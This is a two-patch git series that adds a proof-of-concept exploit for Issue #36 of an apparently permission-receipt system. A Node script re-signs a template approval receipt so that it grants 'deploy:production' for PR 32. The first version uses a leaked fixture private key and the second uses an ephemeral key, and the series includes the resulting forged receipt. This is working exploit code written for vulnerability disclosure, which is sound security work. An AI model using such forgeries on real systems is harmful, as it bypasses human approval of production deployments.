From b242fdce21279840a098e8ad1c5cc2e1aa5b3a70 Mon Sep 17 00:00:00 2001 From: KHHH2312 Date: Mon, 1 Jun 2026 16:36:14 +0100 Subject: [PATCH 1/2] Add exploit script and forged receipt for Issue #36 --- exploit.js | 33 +++++++++++++++++++++++++++++++++ forged-receipt.json | 30 ++++++++++++++++++++++++++++++ 2 files changed, 63 insertions(+) create mode 100644 exploit.js create mode 100644 forged-receipt.json diff --git a/exploit.js b/exploit.js new file mode 100644 index 0000000..24e20c3 --- /dev/null +++ b/exploit.js @@ -0,0 +1,33 @@ +const fs = require('fs'); +const crypto = require('crypto'); +const path = require('path'); + +// We need the jcs_v1 canonicalization function from the reference verifier +const ppCliPath = path.resolve(__dirname, '../pp-cli/dist/canonicalize.js'); +const { canonicalizeReceiptBytes } = require(ppCliPath); + +const privateKeyPath = path.resolve(__dirname, '../receipt-spec/fixtures/keypair-test/private-key.pem'); +const templateReceiptPath = path.resolve(__dirname, '../receipt-spec/fixtures/valid-deploy.json'); + +// Read the template receipt and the leaked private key +const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8')); +const privateKeyPem = fs.readFileSync(privateKeyPath, 'utf8'); +const privateKey = crypto.createPrivateKey(privateKeyPem); + +// Modify the receipt to target our PR bypass +receipt.id = 'rcpt_forged_pr32_001'; +receipt.requestJson.repo = 'permission-protocol/pp-demo'; +receipt.requestJson.action = 'deploy:production'; +receipt.requestJson.prNumber = 32; + +// Re-canonicalize the modified payload and sign it +const payloadBytes = canonicalizeReceiptBytes(receipt); +const signature = crypto.sign(null, payloadBytes, privateKey); + +// Attach the forged signature +receipt.signatureValue = signature.toString('base64'); + +// Write the forged receipt +fs.writeFileSync(path.join(__dirname, 'forged-receipt.json'), JSON.stringify(receipt, null, 2)); + +console.log('Forged receipt generated at forged-receipt.json'); diff --git a/forged-receipt.json b/forged-receipt.json new file mode 100644 index 0000000..b50fb11 --- /dev/null +++ b/forged-receipt.json @@ -0,0 +1,30 @@ +{ + "id": "rcpt_forged_pr32_001", + "companyId": "co_permission_protocol", + "idemKey": "idem_abc123", + "agentId": "agent_prod_1", + "runId": "run_12345", + "requestJson": { + "signer": "alice@corp.com", + "action": "deploy:production", + "repo": "permission-protocol/pp-demo", + "commitSha": "9f2c1a7", + "prNumber": 32 + }, + "inputHash": "ae1608896372720b6ebb58261e0c0092c608324b0804bc99267c1753990faaa8", + "status": "valid", + "riskTier": "high", + "policyVersion": "prod-deploy-v2", + "reasonCodes": [ + "POLICY_MATCH" + ], + "summary": "Approved deploy to production", + "receiptVersion": "v1", + "canonicalization": "jcs_v1", + "signatureAlg": "ed25519", + "signatureKeyId": "pp-test-2026-q2", + "expiresAt": "2026-12-31T00:00:00.000Z", + "createdAt": "2026-04-30T16:23:11.000Z", + "signatureValue": "7MmZH9s9ggsHJtWRRv9MXoaO8EDBphCi7IrmE3vezeyZWM0j9JTw3gn2uwwgz9wG63sq/qryynjyLwLharkTCA==", + "redeemedAt": "2026-04-30T17:00:00.000Z" +} \ No newline at end of file From e74772738166252097238a923219c8f14bb04e2b Mon Sep 17 00:00:00 2001 From: KHHH2312 Date: Mon, 1 Jun 2026 16:42:57 +0100 Subject: [PATCH 2/2] Address Copilot review: Move to poc dir, generate ephemeral keys, pass paths as args --- exploit.js | 33 -------------- security/poc/ephemeral-public-key.pem | 3 ++ security/poc/exploit.js | 44 +++++++++++++++++++ .../poc/forged-receipt.json | 4 +- 4 files changed, 49 insertions(+), 35 deletions(-) delete mode 100644 exploit.js create mode 100644 security/poc/ephemeral-public-key.pem create mode 100644 security/poc/exploit.js rename forged-receipt.json => security/poc/forged-receipt.json (84%) diff --git a/exploit.js b/exploit.js deleted file mode 100644 index 24e20c3..0000000 --- a/exploit.js +++ /dev/null @@ -1,33 +0,0 @@ -const fs = require('fs'); -const crypto = require('crypto'); -const path = require('path'); - -// We need the jcs_v1 canonicalization function from the reference verifier -const ppCliPath = path.resolve(__dirname, '../pp-cli/dist/canonicalize.js'); -const { canonicalizeReceiptBytes } = require(ppCliPath); - -const privateKeyPath = path.resolve(__dirname, '../receipt-spec/fixtures/keypair-test/private-key.pem'); -const templateReceiptPath = path.resolve(__dirname, '../receipt-spec/fixtures/valid-deploy.json'); - -// Read the template receipt and the leaked private key -const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8')); -const privateKeyPem = fs.readFileSync(privateKeyPath, 'utf8'); -const privateKey = crypto.createPrivateKey(privateKeyPem); - -// Modify the receipt to target our PR bypass -receipt.id = 'rcpt_forged_pr32_001'; -receipt.requestJson.repo = 'permission-protocol/pp-demo'; -receipt.requestJson.action = 'deploy:production'; -receipt.requestJson.prNumber = 32; - -// Re-canonicalize the modified payload and sign it -const payloadBytes = canonicalizeReceiptBytes(receipt); -const signature = crypto.sign(null, payloadBytes, privateKey); - -// Attach the forged signature -receipt.signatureValue = signature.toString('base64'); - -// Write the forged receipt -fs.writeFileSync(path.join(__dirname, 'forged-receipt.json'), JSON.stringify(receipt, null, 2)); - -console.log('Forged receipt generated at forged-receipt.json'); diff --git a/security/poc/ephemeral-public-key.pem b/security/poc/ephemeral-public-key.pem new file mode 100644 index 0000000..3e3d580 --- /dev/null +++ b/security/poc/ephemeral-public-key.pem @@ -0,0 +1,3 @@ +-----BEGIN PUBLIC KEY----- +MCowBQYDK2VwAyEA9Iv7LD5Ew8LDNvhtD8VMyWm14jjLpfZv7D4r6qJh29E= +-----END PUBLIC KEY----- diff --git a/security/poc/exploit.js b/security/poc/exploit.js new file mode 100644 index 0000000..ceb5d1b --- /dev/null +++ b/security/poc/exploit.js @@ -0,0 +1,44 @@ +const fs = require('fs'); +const crypto = require('crypto'); +const path = require('path'); + +// Accept paths as arguments to avoid brittle relative links +const ppCliPathArg = process.argv[2]; +const templateReceiptPathArg = process.argv[3]; + +if (!ppCliPathArg || !templateReceiptPathArg) { + console.error('Usage: node exploit.js '); + process.exit(1); +} + +const ppCliPath = path.resolve(ppCliPathArg); +const { canonicalizeReceiptBytes } = require(ppCliPath); +const templateReceiptPath = path.resolve(templateReceiptPathArg); + +// Generate an ephemeral keypair for the POC to avoid using leaked fixture keys +const { privateKey, publicKey } = crypto.generateKeyPairSync('ed25519'); + +// Read the template receipt +const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8')); + +// Modify the receipt to target our PR bypass +receipt.id = 'rcpt_forged_pr32_ephemeral_001'; +receipt.requestJson.repo = 'permission-protocol/pp-demo'; +receipt.requestJson.action = 'deploy:production'; +receipt.requestJson.prNumber = 32; + +// Re-canonicalize the modified payload and sign it +const payloadBytes = canonicalizeReceiptBytes(receipt); +const signature = crypto.sign(null, payloadBytes, privateKey); + +// Attach the forged signature +receipt.signatureValue = signature.toString('base64'); + +// Export the ephemeral keys and the forged receipt for the POC +const outDir = __dirname; +fs.writeFileSync(path.join(outDir, 'ephemeral-public-key.pem'), publicKey.export({ type: 'spki', format: 'pem' })); +fs.writeFileSync(path.join(outDir, 'forged-receipt.json'), JSON.stringify(receipt, null, 2)); + +console.log('POC artifacts generated successfully in', outDir); +console.log('To verify the bypass, run:'); +console.log('node /dist/cli.js verify security/poc/forged-receipt.json --key-file security/poc/ephemeral-public-key.pem'); diff --git a/forged-receipt.json b/security/poc/forged-receipt.json similarity index 84% rename from forged-receipt.json rename to security/poc/forged-receipt.json index b50fb11..7fbe80a 100644 --- a/forged-receipt.json +++ b/security/poc/forged-receipt.json @@ -1,5 +1,5 @@ { - "id": "rcpt_forged_pr32_001", + "id": "rcpt_forged_pr32_ephemeral_001", "companyId": "co_permission_protocol", "idemKey": "idem_abc123", "agentId": "agent_prod_1", @@ -25,6 +25,6 @@ "signatureKeyId": "pp-test-2026-q2", "expiresAt": "2026-12-31T00:00:00.000Z", "createdAt": "2026-04-30T16:23:11.000Z", - "signatureValue": "7MmZH9s9ggsHJtWRRv9MXoaO8EDBphCi7IrmE3vezeyZWM0j9JTw3gn2uwwgz9wG63sq/qryynjyLwLharkTCA==", + "signatureValue": "ahe6nGTTzBJCAEmMh37TcSo+/Mthnp79rhYmM3LntvRqDLzk48htgoZFt5l/djy+mIDtzjYREJGRslG+RARbAQ==", "redeemedAt": "2026-04-30T17:00:00.000Z" } \ No newline at end of file